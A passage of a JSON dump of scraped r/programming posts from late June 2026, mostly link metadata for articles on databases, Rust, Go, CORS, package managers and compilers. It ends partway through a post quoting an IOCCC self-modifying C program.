  "permalink": "https://www.reddit.com/r/programming/comments/1ujnuis/sustainable_augmented_development_kent_beck/",
  "title": "Sustainable Augmented Development • Kent Beck",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 0,
  "createdAt": "2026-06-30T12:29:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/sMujMp4h_EY?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujnc38",
  "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part1.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujnc38/optimization_tales_with_cockroachdb_the_slow/",
  "title": "Optimization tales with CockroachDB: the slow password reset flow",
  "body": null,
  "author": "broken_broken_",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.81,
  "numComments": 3,
  "createdAt": "2026-06-30T12:05:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part1.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujm7hb",
  "url": "https://poweruser.blog/socket-activation-for-a-go-http-service-81d9841d91e6",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujm7hb/socketactivation_for_a_go_http_service_on_ms/",
  "title": "Socket-Activation for a Go HTTP service on MS Windows with IIS + ASP.NET Core \"Out-Of-Process\" hosting.",
  "body": null,
  "author": "_jindo_",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-06-30T11:11:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://poweruser.blog/socket-activation-for-a-go-http-service-81d9841d91e6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujloqr",
  "url": "https://vrong.me/blog/what-is-pinning-in-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujloqr/what_is_stdpinpin_in_rust/",
  "title": "What is `std::pin::Pin` in Rust?",
  "body": null,
  "author": "the-15th-standard",
  "subreddit": "programming",
  "score": 42,
  "upvoteRatio": 0.76,
  "numComments": 8,
  "createdAt": "2026-06-30T10:43:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vrong.me/blog/what-is-pinning-in-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uji7sf",
  "url": "https://radekmie.dev/blog/on-lazy-secrets-management/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uji7sf/on_lazy_secrets_management/",
  "title": "On Lazy Secrets Management",
  "body": null,
  "author": "radekmie",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.82,
  "numComments": 35,
  "createdAt": "2026-06-30T07:19:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://radekmie.dev/blog/on-lazy-secrets-management/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujgzhr",
  "url": "https://www.sqlite.org/howtocorrupt.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujgzhr/how_to_corrupt_an_sqlite_database_file/",
  "title": "How To Corrupt An SQLite Database File",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 254,
  "upvoteRatio": 0.92,
  "numComments": 67,
  "createdAt": "2026-06-30T06:10:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.sqlite.org/howtocorrupt.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujgz6u",
  "url": "https://fil-c.org/context_switches",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujgz6u/memory_safe_context_switching/",
  "title": "Memory Safe Context Switching",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.86,
  "numComments": 1,
  "createdAt": "2026-06-30T06:09:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fil-c.org/context_switches",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujey7x",
  "url": "https://openjdk.org/jeps/539",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujey7x/jep_539_strict_field_initialization_in_the_jvm/",
  "title": "JEP 539: Strict Field Initialization in the JVM (Preview)",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 67,
  "upvoteRatio": 0.89,
  "numComments": 6,
  "createdAt": "2026-06-30T04:22:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openjdk.org/jeps/539",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujedc3",
  "url": "https://blog.colinbreck.com/when-impressive-performance-gains-do-not-matter/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujedc3/when_impressive_performance_gains_do_not_matter/",
  "title": "When Impressive Performance Gains Do Not Matter",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.87,
  "numComments": 8,
  "createdAt": "2026-06-30T03:54:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.colinbreck.com/when-impressive-performance-gains-do-not-matter/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujbpwm",
  "url": "https://coe.psu.ac.th/ad/explore/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujbpwm/exploring_mathematics_with_python_new_chapter_20/",
  "title": "\"Exploring Mathematics with Python\": new chapter 20 on Function Approximation",
  "body": null,
  "author": "ADavison2560",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-06-30T01:48:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://coe.psu.ac.th/ad/explore/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujaq0z",
  "url": "https://foxmoss.com/blog/radish/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujaq0z/running_a_software_jam_in_a_world_of_slop/",
  "title": "Running a software jam in a world of slop",
  "body": null,
  "author": "arrrowfox",
  "subreddit": "programming",
  "score": 78,
  "upvoteRatio": 0.78,
  "numComments": 21,
  "createdAt": "2026-06-30T01:02:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://foxmoss.com/blog/radish/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uiutlp",
  "url": "https://slint.dev/blog/slint-and-the-nodejs-event-loop",
  "permalink": "https://www.reddit.com/r/programming/comments/1uiutlp/integrating_a_native_ui_toolkits_event_loop_with/",
  "title": "Integrating a native UI toolkit's event loop with Node's libuv",
  "body": null,
  "author": "ogoffart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-06-29T14:57:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://slint.dev/blog/slint-and-the-nodejs-event-loop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uiqn9w",
  "url": "https://youtu.be/mRoWGqcBSzk?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1uiqn9w/platforms_build_abstractions_not_illusions_gregor/",
  "title": "Platforms: Build Abstractions, not Illusions • Gregor Hohpe",
  "body": "Let’s be honest, the tech we use today is amazing, but it can also be complex.\n\nIt’s only natural that teams want to build platforms that hide this complexity to improve productivity, avoid mistakes, and reduce cognitive load. But they may be misled to believe that the more complexity they hide, the better their platform is. Instead, they end up creating dangerous illusions!\n\nThis talk reflects on two decades of building complex distributed systems, highlighting where abstractions helped and where illusions led to major disappointments.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.58,
  "numComments": 1,
  "createdAt": "2026-06-29T12:07:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/mRoWGqcBSzk?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uio20q",
  "url": "https://jola.dev/posts/automatically-syncing-your-blog-atproto-standard-site",
  "permalink": "https://www.reddit.com/r/programming/comments/1uio20q/automatically_syncing_your_blog_to_atproto_and/",
  "title": "Automatically syncing your blog to atproto and standard.site (Elixir)",
  "body": null,
  "author": "joladev",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.59,
  "numComments": 4,
  "createdAt": "2026-06-29T09:53:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jola.dev/posts/automatically-syncing-your-blog-atproto-standard-site",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uinuuf",
  "url": "https://daniel.haxx.se/blog/2026/06/29/do-excellent-vulnerability-reports/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uinuuf/do_excellent_vulnerability_reports/",
  "title": "Do excellent vulnerability reports",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.8,
  "numComments": 0,
  "createdAt": "2026-06-29T09:42:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2026/06/29/do-excellent-vulnerability-reports/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uimhb1",
  "url": "https://medium.com/@artem_lajko/gitops-for-15-000-clusters-what-large-scale-testing-with-vcluster-taught-us-41e4b0d43e0b?source=friends_link&sk=db8e3c653dd9f73254e93564fdcf6f5a",
  "permalink": "https://www.reddit.com/r/programming/comments/1uimhb1/gitops_for_15000_clusters_what_largescale_testing/",
  "title": "GitOps for 15,000+ Clusters: What Large-Scale Testing with vCluster Taught Us",
  "body": null,
  "author": "Happycodeine",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.69,
  "numComments": 2,
  "createdAt": "2026-06-29T08:20:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@artem_lajko/gitops-for-15-000-clusters-what-large-scale-testing-with-vcluster-taught-us-41e4b0d43e0b?source=friends_link&sk=db8e3c653dd9f73254e93564fdcf6f5a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uijqcw",
  "url": "https://blog.jcoglan.com/2026/03/23/uses-for-nested-promises/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uijqcw/uses_for_nested_promises/",
  "title": "Uses for nested promises",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.83,
  "numComments": 5,
  "createdAt": "2026-06-29T05:44:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jcoglan.com/2026/03/23/uses-for-nested-promises/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui8uob",
  "url": "https://costycnc.github.io/avr-compiler-js/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui8uob/why_highlevel_abstractions_hide_the_metal_using/",
  "title": "Why high-level abstractions hide the metal: Using ATmega328 as a didactic toy to visualize registers and bits",
  "body": null,
  "author": "Important-Addition79",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2026-06-28T21:08:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://costycnc.github.io/avr-compiler-js/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui85rg",
  "url": "https://publicstaticvoidmain.hashnode.dev/modding-a-20-year-old-game-to-make-it-even-better-part-i",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui85rg/modding_a_20yearold_game_to_make_it_even_better/",
  "title": "Modding a 20-year-old game to make it even better",
  "body": null,
  "author": "HHalo6",
  "subreddit": "programming",
  "score": 154,
  "upvoteRatio": 0.86,
  "numComments": 20,
  "createdAt": "2026-06-28T20:40:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://publicstaticvoidmain.hashnode.dev/modding-a-20-year-old-game-to-make-it-even-better-part-i",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui798p",
  "url": "https://statecraft.hashnode.dev/you-don-t-need-temporal-you-need-postgres",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui798p/you_dont_need_temporal_you_need_postgres/",
  "title": "You don't need Temporal. You need Postgres.",
  "body": "Most teams reach for Temporal when they need coordination guarantees.The tradeoff is rewriting your entire codebase to be deterministic and learning a new programming paradigm.\n\nRedis SETNX wasn't giving me correctness guarantees.\n\nYou can make your own coordination primitive on postgres\n\nLike I did for my payments service \n\nFull writeup: https://statecraft.hashnode.dev/you-don-t-need-temporal-you-need-postgres\n\nEdit: i formatted poorly and the bracket became a part of the link it's fixed ",
  "author": "munch_muffin_solas",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 9,
  "createdAt": "2026-06-28T20:04:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://statecraft.hashnode.dev/you-don-t-need-temporal-you-need-postgres",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui7237",
  "url": "https://blog.gaborkoos.com/posts/2026-06-28-Your-Console-Is-Lying-to_You/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui7237/your_consolelog_is_lying_to_you_debugging_traps/",
  "title": "Your console.log Is Lying to You: debugging traps and tricks",
  "body": "Why `console.log()` can be misleading in browser DevTools: live object references, promises that look different when expanded later, logs changing timing-sensitive behavior, stale React state after updates, and source maps pointing at surprising line numbers.",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.79,
  "numComments": 19,
  "createdAt": "2026-06-28T19:57:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-06-28-Your-Console-Is-Lying-to_You/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui2ql9",
  "url": "https://verdagon.dev/blog/ante-blending-borrowing-rc",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui2ql9/ante_a_new_way_to_blend_borrow_checking_and/",
  "title": "Ante: A New Way to Blend Borrow Checking and Reference Counting",
  "body": null,
  "author": "verdagon",
  "subreddit": "programming",
  "score": 93,
  "upvoteRatio": 0.9,
  "numComments": 31,
  "createdAt": "2026-06-28T17:09:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://verdagon.dev/blog/ante-blending-borrowing-rc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ui2mo1",
  "url": "https://medium.com/@leoantony102/consistent-hashing-isnt-enough-so-i-added-resource-aware-slot-distribution-07ca71adfaac?sharedUserId=leoantony102",
  "permalink": "https://www.reddit.com/r/programming/comments/1ui2mo1/resource_based_slot_range_splitting_in_a/",
  "title": "Resource based slot range splitting in a distributed databases",
  "body": "So for learning purposes I was reading a few research papers on the topic of databases. I read through a few papers like gfs, cockroachdb, dynamodb, raft etc..\n\nDynamoDb uses consistent hashing for the key distribution. It also uses virtual nodes for reducing the rebalancing problem when a node dies. \n\nSo I had an idea of using the resource(disk, cpu, ram, network) of server to determine how much data/load it should handle. We can't determine the capacity of a server just with its hardware specs like ram & disk, if the latency is high or has frequent network issue then it makes that particular node not very reliable to hold the data. So incorporating the network details will help us get better resource scores of a node. Keys are mapped to slot using CRC16 and there will be a fixed number of slots 16384.\n\nSince I used a storage engine called pebble(similar to rocksdb) I was able to  avoid the headache of writing the storage layer. I greatly underestimated the process of writing a database.\n\nSo coming back to the topic I want to know if this resource based ranging splitting is already implemented and more information on it.\n\nI developed a architecture on this topic called irisdb and it implements this resource scores mechanism to determine which node to take the slot range to split. this is a learning project and I gladly accept any feedback I could get",
  "author": "wizard_zen",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.69,
  "numComments": 1,
  "createdAt": "2026-06-28T17:05:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@leoantony102/consistent-hashing-isnt-enough-so-i-added-resource-aware-slot-distribution-07ca71adfaac?sharedUserId=leoantony102",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uhr43k",
  "url": "https://youtu.be/rBaK4-EoF_8",
  "permalink": "https://www.reddit.com/r/programming/comments/1uhr43k/conways_game_of_life_explained_visually/",
  "title": "Conway's Game of Life Explained Visually",
  "body": null,
  "author": "caspervonb",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.62,
  "numComments": 3,
  "createdAt": "2026-06-28T07:48:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/rBaK4-EoF_8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uhqv2v",
  "url": "https://event-driven.io/en/vertical_slices_in_practice/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uhqv2v/vertical_slices_in_practice/",
  "title": "Vertical Slices in practice",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.63,
  "numComments": 4,
  "createdAt": "2026-06-28T07:33:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://event-driven.io/en/vertical_slices_in_practice/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uhpazx",
  "url": "https://sanyamserver.online/posts/cors/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uhpazx/cors_explained_in_plain_english/",
  "title": "CORS explained in plain English",
  "body": null,
  "author": "AdvertisingFancy7011",
  "subreddit": "programming",
  "score": 277,
  "upvoteRatio": 0.83,
  "numComments": 61,
  "createdAt": "2026-06-28T06:04:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sanyamserver.online/posts/cors/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uhkcsp",
  "url": "https://leetarxiv.substack.com/p/gumbel-sinkhorn-neural-sort",
  "permalink": "https://www.reddit.com/r/programming/comments/1uhkcsp/neural_sort_in_python_using_gumbelsinkhorn/",
  "title": "Neural Sort in Python Using Gumbel-Sinkhorn Networks",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.63,
  "numComments": 0,
  "createdAt": "2026-06-28T01:51:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/gumbel-sinkhorn-neural-sort",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uhbf79",
  "url": "https://failure-modes.dev/library/v2/fm-018",
  "permalink": "https://www.reddit.com/r/programming/comments/1uhbf79/the_aws_data_hall_cooling_failure_linked_to/",
  "title": "The AWS Data Hall Cooling Failure Linked to 150-Plus Cloud Service Disruptions",
  "body": null,
  "author": "Cultural_Wheel_6936",
  "subreddit": "programming",
  "score": 58,
  "upvoteRatio": 0.91,
  "numComments": 11,
  "createdAt": "2026-06-27T19:21:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://failure-modes.dev/library/v2/fm-018",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uh3z4m",
  "url": "https://blog.weineng.me/posts/slowest_add/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uh3z4m/data_access_patterns_that_makes_your_cpu_really/",
  "title": "Data Access Patterns That Makes Your CPU Really Angry",
  "body": null,
  "author": "Double_Ad641",
  "subreddit": "programming",
  "score": 335,
  "upvoteRatio": 0.94,
  "numComments": 29,
  "createdAt": "2026-06-27T14:19:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.weineng.me/posts/slowest_add/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uh2qcg",
  "url": "https://mccue.dev/pages/6-27-26-who-uses",
  "permalink": "https://www.reddit.com/r/programming/comments/1uh2qcg/50_out_of_413_companies_that_use_my_libraries/",
  "title": "50 out of 413 Companies that use my libraries",
  "body": null,
  "author": "bowbahdoe",
  "subreddit": "programming",
  "score": 143,
  "upvoteRatio": 0.83,
  "numComments": 21,
  "createdAt": "2026-06-27T13:25:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mccue.dev/pages/6-27-26-who-uses",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uh1r36",
  "url": "https://github.com/rochus-keller/MUMPS/blob/main/Readme.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1uh1r36/how_to_write_a_faithful_mumps_76_interpreter_and/",
  "title": "How to write a faithful MUMPS 76 interpreter and integrated NoSQL database in < 10k lines of C++",
  "body": null,
  "author": "suhcoR",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.69,
  "numComments": 13,
  "createdAt": "2026-06-27T12:40:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/rochus-keller/MUMPS/blob/main/Readme.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uh1qm4",
  "url": "https://www.modular.com/modcon",
  "permalink": "https://www.reddit.com/r/programming/comments/1uh1qm4/mojo_programming_language_will_become_opensource/",
  "title": "Mojo programming language will become open-source soon.",
  "body": "The main website of the language [https://mojolang.org/](https://mojolang.org/) displays an announcement bar that says \"Mojo will be open source soon! Join us at ModCon '26 for an update.\"",
  "author": "baldierot",
  "subreddit": "programming",
  "score": 159,
  "upvoteRatio": 0.85,
  "numComments": 104,
  "createdAt": "2026-06-27T12:39:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.modular.com/modcon",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uh0m01",
  "url": "https://blog.gaborkoos.com/posts/2026-06-11-Your-Package-Manager-Is-Lying-to-You/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uh0m01/your_package_manager_is_lying_to_you_npm_yarn/",
  "title": "Your Package Manager Is Lying to You: npm, Yarn, pnpm, Bun & Deno",
  "body": "Package managers aren't as interchangeable as they seem. This post digs into the real differences in how npm, Yarn, pnpm, Bun, and Deno handle dependencies under the hood and why that matters when things break in practice.",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.26,
  "numComments": 3,
  "createdAt": "2026-06-27T11:43:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-06-11-Your-Package-Manager-Is-Lying-to-You/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uguca7",
  "url": "https://healeycodes.com/a-tiny-compiler-for-data-parallel-kernels",
  "permalink": "https://www.reddit.com/r/programming/comments/1uguca7/a_tiny_compiler_for_dataparallel_kernels/",
  "title": "A Tiny Compiler for Data-Parallel Kernels",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.8,
  "numComments": 4,
  "createdAt": "2026-06-27T05:44:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://healeycodes.com/a-tiny-compiler-for-data-parallel-kernels",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uglbou",
  "url": "https://www.ioccc.org/2025/uellenberg/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uglbou/insert_a_language_for_selfmodifying_code/",
  "title": "Insert, a language for self-modifying code",
  "body": "If you ever find yourself with time to kill and crave a fun challenge, you can write a program that prints out its own source code, called a [quine](https://en.wikipedia.org/wiki/Quine_(computing)). Go on, give it a try, it's good fun! Once that's done, what's to stop you from modifying the source code instead of printing it verbatim, slowly shifting forms as you iterate on each successive output?\n\nNaturally, you'll want to make a [game that's played in its own source code](https://github.com/uellenberg/Insert#insert) (click for an animation):\n\n    #include<stdio.h>\n    #define z else\n    #define y return\n    #define x int\n    #define w if(\n    #define v putchar(\n    #define B v 10);\n    #define A v 92);\n    \n    /* IOCCC29, w = up, e = down */\n    \n    x a= 32 ; x b= 6 ; x c= -1 ; x d= 1 ; x e= 5 ; x f= 10 ; x g= 62 ; x h= 5 ; x i[6]={ 1,3,1,4,1,0} ; char*j[]={  \"\\\n    \\\n    #include<stdio.h>'#define$z$else'#define$y$return'#define$x$int'#defin\\\n    e$w$if('#define$v$putchar('#define$B$v$10);'#define$A$v$92);''/*$IOCCC\\\n    29,$w$=$up,$e$=$down$*/''x$a=\",\"32\",\";x$b=\",\"6\",\";x$c=\",\"-1\",\";x$d=\",\"\\\n    